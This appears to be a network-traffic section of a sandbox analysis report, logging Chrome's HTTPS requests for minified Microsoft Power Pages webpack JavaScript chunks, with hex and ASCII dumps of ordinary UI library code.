2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 6d 61 78 69 6d 69 7a 65 46 72 61 6d 65 2c 69 3d 65 2e 69 73 4c 6f 61 64 65 64 2c 61 3d 65 2e 73 68 6f 75 6c 64 46 61 64 65 49 6e 2c 73 3d 65 2e 73 68 6f 75 6c 64 53 74 61 72 74 56 69 73 69 62 6c 65 2c 75 3d 65 2e 69 73 4c 61 6e 64 73 63 61 70 65 2c 6c 3d 65 2e 69 73 43 65 6e 74 65 72 2c 63 3d 65 2e 69 73 43 6f 6e 74 61 69 6e 2c 64 3d 65 2e 69 73 43 6f 76 65 72 2c 66 3d 65 2e 69 73 43 65 6e 74 65 72 43 6f 6e 74 61 69 6e 2c 70 3d 65 2e 69 73 43 65 6e 74 65 72 43 6f 76 65 72 2c 68 3d 65 2e 69 73 4e 6f 6e 65 2c 67 3d 65 2e 69 73 45 72 72 6f 72 2c 6d 3d 65 2e 69 73 4e 6f 74 49 6d 61 67 65 46 69 74 2c 76 3d 65 2e 74 68 65 6d 65 2c 79 3d 28 30 2c 49 2e 4b 6d 29 28 4c 2c 76 29 2c 62 3d 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 6c 65 66 74 3a Data Ascii: maximizeFrame,i=e.isLoaded,a=e.shouldFadeIn,s=e.shouldStartVisible,u=e.isLandscape,l=e.isCenter,c=e.isContain,d=e.isCover,f=e.isCenterContain,p=e.isCenterCover,h=e.isNone,g=e.isError,m=e.isNotImageFit,v=e.theme,y=(0,I.Km)(L,v),b={position:"absolute",left:
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 63 75 73 44 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 2d 31 2c 6e 3d 74 68 69 73 2e 5f 66 6f 63 75 73 41 6c 69 67 6e 6d 65 6e 74 2e 6c 65 66 74 7c 7c 74 68 69 73 2e 5f 66 6f 63 75 73 41 6c 69 67 6e 6d 65 6e 74 2e 78 7c 7c 30 3b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 5f 6d 6f 76 65 46 6f 63 75 73 28 21 30 2c 28 66 75 6e 63 74 69 6f 6e 28 72 2c 6f 29 7b 76 61 72 20 69 3d 2d 31 2c 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 6f 2e 74 6f 70 29 2c 73 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2e 62 6f 74 74 6f 6d 29 3b 72 65 74 75 72 6e 20 61 3c 73 3f 65 2e 5f 73 68 6f 75 6c 64 57 72 61 70 46 6f 63 75 73 28 65 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2c 75 65 29 3f 63 65 3a 64 65 3a 28 28 2d 31 3d 3d 3d 74 26 26 61 3e 3d 73 Data Ascii: cusDown=function(){var e=this,t=-1,n=this._focusAlignment.left\|\|this._focusAlignment.x\|\|0;return!!this._moveFocus(!0,(function(r,o){var i=-1,a=Math.floor(o.top),s=Math.floor(r.bottom);return a<s?e._shouldWrapFocus(e._activeElement,ue)?ce:de:((-1===t&&a>=s
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 61 73 4d 65 6e 75 3a 21 30 7d 29 7d 29 29 2c 74 2e 5f 67 65 74 53 75 62 6d 65 6e 75 54 61 72 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 5f 61 6e 63 68 6f 72 2e 63 75 72 72 65 6e 74 3f 74 2e 5f 61 6e 63 68 6f 72 2e 63 75 72 72 65 6e 74 3a 76 6f 69 64 20 30 7d 2c 74 2e 5f 6f 6e 49 74 65 6d 43 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 2e 70 72 6f 70 73 2c 72 3d 6e 2e 69 74 65 6d 2c 6f 3d 6e 2e 6f 6e 49 74 65 6d 43 6c 69 63 6b 3b 6f 26 26 6f 28 72 2c 65 29 7d 2c 74 2e 5f 72 65 6e 64 65 72 41 72 69 61 44 65 73 63 72 69 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 3f 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 69 64 3a 74 2e 5f 61 72 69 Data Ascii: asMenu:!0})})),t._getSubmenuTarget=function(){return t._anchor.current?t._anchor.current:void 0},t._onItemClick=function(e){var n=t.props,r=n.item,o=n.onItemClick;o&&o(r,e)},t._renderAriaDescription=function(e,n){return e?o.createElement("span",{id:t._ari
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 65 6e 74 54 61 72 67 65 74 26 26 49 74 28 6e 2c 70 29 3b 76 61 72 20 72 3d 21 31 3b 74 2e 6f 6e 43 6c 69 63 6b 3f 72 3d 21 21 74 2e 6f 6e 43 6c 69 63 6b 28 6e 2c 74 29 3a 65 2e 6f 6e 49 74 65 6d 43 6c 69 63 6b 26 26 28 72 3d 21 21 65 2e 6f 6e 49 74 65 6d 43 6c 69 63 6b 28 6e 2c 74 29 29 2c 21 72 26 26 6e 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 7c 7c 66 28 6e 2c 21 30 29 7d 7d 3b 72 65 74 75 72 6e 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6f 2e 63 75 72 72 65 6e 74 26 26 28 69 2e 63 75 72 72 65 6e 74 3d 21 30 29 2c 68 28 29 7c 7c 67 28 65 2c 74 2c 6e 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 73 29 7b 76 61 72 20 75 3d 61 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 6f 2e 63 75 72 72 65 6e 74 26 26 28 69 2e 63 75 72 72 65 6e 74 3d Data Ascii: entTarget&&It(n,p);var r=!1;t.onClick?r=!!t.onClick(n,t):e.onItemClick&&(r=!!e.onItemClick(n,t)),!r&&n.defaultPrevented\|\|f(n,!0)}};return[function(e,t,n){o.current&&(i.current=!0),h()\|\|g(e,t,n)},function(e,a,s){var u=a.currentTarget;o.current&&(i.current=
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 78 2e 5f 64 65 73 63 72 69 70 74 69 6f 6e 49 64 2c 54 3d 21 77 26 26 21 21 64 2c 42 3d 54 3f 22 61 22 3a 22 62 75 74 74 6f 6e 22 2c 50 3d 28 30 2c 76 2e 47 31 29 28 28 30 2c 79 2e 6b 70 29 28 54 3f 7b 7d 3a 7b 74 79 70 65 3a 22 62 75 74 74 6f 6e 22 7d 2c 74 68 69 73 2e 70 72 6f 70 73 2e 72 6f 6f 74 50 72 6f 70 73 2c 74 68 69 73 2e 70 72 6f 70 73 29 2c 54 3f 76 2e 74 30 3a 76 2e 75 77 2c 5b 22 64 69 73 61 62 6c 65 64 22 5d 29 2c 49 3d 72 7c 7c 50 5b 22 61 72 69 61 2d 6c 61 62 65 6c 22 5d 2c 4e 3d 76 6f 69 64 20 30 3b 6e 3f 4e 3d 6b 3a 63 26 26 74 68 69 73 2e 70 72 6f 70 73 2e 6f 6e 52 65 6e 64 65 72 44 65 73 63 72 69 70 74 69 6f 6e 21 3d 3d 62 2e 4b 3f 4e 3d 41 3a 50 5b 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 5d 26 26 28 4e 3d 50 5b 22 61 72 Data Ascii: x._descriptionId,T=!w&&!!d,B=T?"a":"button",P=(0,v.G1)((0,y.kp)(T?{}:{type:"button"},this.props.rootProps,this.props),T?v.t0:v.uw,["disabled"]),I=r\|\|P["aria-label"],N=void 0;n?N=k:c&&this.props.onRenderDescription!==b.K?N=A:P["aria-describedby"]&&(N=P["ar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49839	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/243.37970f022e.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:03 UTC	825	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:02 GMT Content-Type: application/x-javascript Content-Length: 1884 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA0000012 x-ms-static-content: nr000000R Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: f1142fd4-f6d7-4501-860a-59e289fc876e x-ms-correlation-id: 3535e595-c30b-4d33-b1ef-a77df8061e20 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=11.0,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-1848b945c76qzlmqhC1MNZ7et000000000p0000000002bm8 X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:03 UTC	1884	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 34 33 5d 2c 7b 37 32 34 33 3a 28 65 2c 74 2c 6f 29 3d 3e 7b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 41 6e 6e 6f 75 6e 63 65 50 72 6f 76 69 64 65 72 3a 28 29 3d 3e 4d 2c 41 6e 6e 6f 75 6e 63 65 50 72 6f 76 69 64 65 72 5f 75 6e 73 74 61 62 6c 65 3a 28 29 3d 3e 4d 2c 42 61 63 6b 67 72 6f 75 6e 64 41 70 70 65 61 72 61 6e 63 65 50 72 6f 76 69 64 65 72 3a 28 29 3d 3e 67 2c 43 75 73 74 6f 6d 53 74 79 6c 65 48 6f 6f 6b 73 Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[243],{7243:(e,t,o)=>{o.r(t),o.d(t,{AnnounceProvider:()=>M,AnnounceProvider_unstable:()=>M,BackgroundAppearanceProvider:()=>g,CustomStyleHooks

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49843	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:03 UTC	406	OUT	GET /resource/powerappsportal/controls/host/90.24327273f1.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:03 UTC	801	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:03 GMT Content-Type: application/x-javascript Content-Length: 431 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AE x-ms-static-content: ZE000000D Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 6c0f1138-3b97-45f0-a1df-0a2403179a81 x-ms-correlation-id: 61f9b866-db47-417d-9ebf-40079ff43041 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=14.2,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141203Z-17f859c6f6b885jdhC1MNZu0zw00000000pg000000009aqs X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:03 UTC	431	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 30 5d 2c 7b 35 30 39 30 3a 28 74 2c 65 2c 72 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 72 65 74 75 72 6e 20 73 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 2e 62 69 6e 64 28 29 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[90],{5090:(t,e,r)=>{function s(){return s=Object.assign?Object.assign.bind():function(t){for(var e=1;e<arguments.length;e++){var r=arguments[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49846	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:03 UTC	407	OUT	GET /resource/powerappsportal/controls/host/573.676281aef2.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:03 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:03 GMT Content-Type: application/x-javascript Content-Length: 54098 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000005F x-ms-static-content: ze000001A Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 0042b49a-2040-4659-981d-05e5839727ca x-ms-correlation-id: 5d96826e-42cd-4572-bcf1-b08090d16465 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=29.9,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141203Z-17f859c6f6bcrw57hC1MNZmxew0000000120000000003h4c X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:03 UTC	15531	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 37 33 5d 2c 7b 34 30 32 35 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 6d 3a 28 29 3d 3e 75 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 38 36 29 2c 69 3d 6e 28 36 34 29 2c 73 3d 6e 28 38 37 37 32 29 2c 75 3d 6e 65 77 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 28 65 3d 74 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 29 2e 73 65 74 75 70 Data Ascii: (self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[573],{4025:(t,e,n)=>{"use strict";n.d(e,{m:()=>u});var r=n(9686),i=n(64),s=n(8772),u=new(function(t){function e(){var e;return(e=t.call(this)\|\|this).setup
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 65 22 2c 6e 29 2c 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 66 66 6c 69 6e 65 22 2c 6e 29 7d 7d 7d 2c 65 7d 28 30 2c 72 2e 41 29 28 65 2c 74 29 3b 76 61 72 20 6e 3d 65 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 6f 6e 53 75 62 73 63 72 69 62 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 63 6c 65 61 6e 75 70 7c 7c 74 68 69 73 2e 73 65 74 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 68 69 73 2e 73 65 74 75 70 29 7d 2c 6e 2e 6f 6e 55 6e 73 75 62 73 63 72 69 62 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 68 61 73 4c 69 73 74 65 6e 65 72 73 28 29 7c 7c 28 6e 75 6c 6c 3d 3d 28 74 3d 74 68 69 73 2e 63 6c 65 61 6e 75 70 29 7c 7c 74 2e 63 61 6c 6c 28 74 68 69 73 29 2c Data Ascii: e",n),window.removeEventListener("offline",n)}}},e}(0,r.A)(e,t);var n=e.prototype;return n.onSubscribe=function(){this.cleanup\|\|this.setEventListener(this.setup)},n.onUnsubscribe=function(){var t;this.hasListeners()\|\|(null==(t=this.cleanup)\|\|t.call(this),
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 72 6e 28 30 2c 69 2e 43 70 29 28 74 2c 65 2e 6d 75 74 61 74 69 6f 6e 4b 65 79 29 7d 29 29 29 3f 76 6f 69 64 20 30 3a 65 2e 64 65 66 61 75 6c 74 4f 70 74 69 6f 6e 73 3a 76 6f 69 64 20 30 7d 2c 65 2e 64 65 66 61 75 6c 74 51 75 65 72 79 4f 70 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 5f 64 65 66 61 75 6c 74 65 64 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 65 3d 28 30 2c 72 2e 41 29 28 7b 7d 2c 74 68 69 73 2e 64 65 66 61 75 6c 74 4f 70 74 69 6f 6e 73 2e 71 75 65 72 69 65 73 2c 74 68 69 73 2e 67 65 74 51 75 65 72 79 44 65 66 61 75 6c 74 73 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 71 75 65 72 79 4b 65 79 29 2c 74 2c 7b 5f 64 65 66 61 75 6c 74 65 64 3a 21 30 7d 29 3b 72 65 74 75 Data Ascii: rn(0,i.Cp)(t,e.mutationKey)})))?void 0:e.defaultOptions:void 0},e.defaultQueryOptions=function(t){if(null==t?void 0:t._defaulted)return t;var e=(0,r.A)({},this.defaultOptions.queries,this.getQueryDefaults(null==t?void 0:t.queryKey),t,{_defaulted:!0});retu
2025-01-15 14:12:03 UTC	5799	IN	Data Raw: 74 22 3b 6e 2e 64 28 65 2c 7b 55 3a 28 29 3d 3e 61 2c 68 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 72 3d 6e 28 37 35 31 38 29 2c 69 3d 6e 2e 6e 28 72 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 76 61 72 20 74 3d 21 31 3b 72 65 74 75 72 6e 7b 63 6c 65 61 72 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 3d 21 31 7d 2c 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 3d 21 30 7d 2c 69 73 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 7d 7d 76 61 72 20 75 3d 69 28 29 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 73 28 29 29 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 29 2e 75 73 65 43 6f 6e 74 65 78 74 28 75 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 63 68 69 6c Data Ascii: t";n.d(e,{U:()=>a,h:()=>o});var r=n(7518),i=n.n(r);function s(){var t=!1;return{clearReset:function(){t=!1},reset:function(){t=!0},isReset:function(){return t}}}var u=i().createContext(s()),o=function(){return i().useContext(u)},a=function(t){var e=t.chil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50590	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:06 UTC	407	OUT	GET /resource/powerappsportal/controls/host/349.dc388c8b0d.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:06 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:06 GMT Content-Type: application/x-javascript Content-Length: 49544 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: ga00000HH x-ms-static-content: NR000000A Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: f5cdf9fb-a494-4e1c-8617-c8a4bc6dcc97 x-ms-correlation-id: cad6e8c1-7e9b-4417-b311-ad7b5bcded3a x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=75.4,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141206Z-1848b945c76ld5qbhC1MNZathg00000000u000000000ar4s X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:06 UTC	15531	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 34 39 5d 2c 7b 34 32 31 30 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 72 28 74 29 2c 72 2e 64 28 74 2c 7b 52 45 41 43 54 5f 44 45 56 5f 52 4f 4f 54 3a 28 29 3d 3e 55 74 2c 52 45 41 43 54 5f 50 52 4f 44 5f 52 4f 4f 54 3a 28 29 3d 3e 4d 74 7d 29 3b 76 61 72 20 6f 2c 6e 2c 61 2c 6c 2c 69 3d 72 28 37 30 30 35 29 2c 63 3d 72 2e 6e 28 69 29 2c 64 3d 72 28 39 37 30 31 29 2c 73 3d 72 2e 6e 28 64 29 2c 75 3d 72 28 31 35 37 29 2c Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[349],{4210:(e,t,r)=>{r.r(t),r.d(t,{REACT_DEV_ROOT:()=>Ut,REACT_PROD_ROOT:()=>Mt});var o,n,a,l,i=r(7005),c=r.n(i),d=r(9701),s=r.n(d),u=r(157),
2025-01-15 14:12:07 UTC	16384	IN	Data Raw: 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 32 3a 6f 2e 6e 65 75 74 72 61 6c 51 75 61 74 65 72 6e 61 72 79 41 6c 74 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 33 3a 6f 2e 6e 65 75 74 72 61 6c 4c 69 67 68 74 65 72 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 53 75 62 74 6c 65 3a 6f 2e 6e 65 75 74 72 61 6c 51 75 61 74 65 72 6e 61 72 79 41 6c 74 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 4f 6e 42 72 61 6e 64 3a 6f 2e 77 68 69 74 65 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 4f 6e 42 72 61 6e 64 32 3a 6f 2e 77 68 69 74 65 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 4f 6e 42 72 61 6e 64 32 48 6f 76 65 72 3a 6f 2e 77 68 69 74 65 2c 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 53 74 72 6f 6b 65 4f 6e 42 72 61 Data Ascii: NeutralStroke2:o.neutralQuaternaryAlt,colorNeutralStroke3:o.neutralLighter,colorNeutralStrokeSubtle:o.neutralQuaternaryAlt,colorNeutralStrokeOnBrand:o.white,colorNeutralStrokeOnBrand2:o.white,colorNeutralStrokeOnBrand2Hover:o.white,colorNeutralStrokeOnBra
2025-01-15 14:12:07 UTC	16384	IN	Data Raw: 29 3d 3e 7b 6e 75 6c 6c 3d 3d 65 7c 7c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 65 6c 65 63 74 69 6f 6e 45 76 65 6e 74 22 2c 68 29 7d 7d 29 2c 5b 5d 29 2c 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 28 29 3d 3e 7b 64 26 26 28 6e 7c 7c 6c 3f 64 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 63 6f 6d 70 6f 6e 65 6e 74 2d 73 65 6c 65 63 74 65 64 22 29 3a 64 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 63 6f 6d 70 6f 6e 65 6e 74 2d 73 65 6c 65 63 74 65 64 22 29 29 7d 29 2c 5b 64 2c 6e 2c 6c 5d 29 2c 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 3b 63 6f 6e 73 74 20 72 3d 6e 75 6c 6c 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 28 65 3d 61 2e 64 61 74 61 29 7c 7c 76 6f 69 64 20 Data Ascii: )=>{null==e\|\|e.removeEventListener("selectionEvent",h)}}),[]),(0,i.useEffect)((()=>{d&&(n\|\|l?d.classList.add("component-selected"):d.classList.remove("component-selected"))}),[d,n,l]),(0,i.useEffect)((()=>{var e,t;const r=null==a\|\|null===(e=a.data)\|\|void
2025-01-15 14:12:07 UTC	1245	IN	Data Raw: 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 67 69 73 74 65 72 65 64 49 6e 73 74 61 6e 63 65 73 2e 68 61 73 28 65 29 3f 74 68 69 73 2e 72 65 67 69 73 74 65 72 65 64 49 6e 73 74 61 6e 63 65 73 2e 67 65 74 28 65 29 3a 74 68 69 73 2e 63 72 65 61 74 65 41 6e 64 52 65 67 69 73 74 65 72 49 31 38 6e 49 6e 73 74 61 6e 63 65 28 65 2c 74 29 7d 2c 67 65 74 43 75 72 72 65 6e 74 4c 61 6e 67 75 61 67 65 28 29 7b 72 65 74 75 72 6e 5b 2e 2e 2e 74 68 69 73 2e 72 65 67 69 73 74 65 72 65 64 49 6e 73 74 61 6e 63 65 73 2e 76 61 6c 75 65 73 28 29 5d 5b 30 5d 3f 2e 6c 61 6e 67 75 61 67 65 3f 3f 22 65 6e 2d 55 53 22 7d 2c 63 72 65 61 74 65 41 6e 64 52 65 67 69 73 74 65 72 49 31 38 6e 49 6e 73 74 61 6e 63 65 28 65 2c 74 29 7b 63 6f 6e 73 74 20 72 3d 7b 2e 2e 2e 63 2c 69 Data Ascii: ,t){return this.registeredInstances.has(e)?this.registeredInstances.get(e):this.createAndRegisterI18nInstance(e,t)},getCurrentLanguage(){return[...this.registeredInstances.values()][0]?.language??"en-US"},createAndRegisterI18nInstance(e,t){const r={...c,i

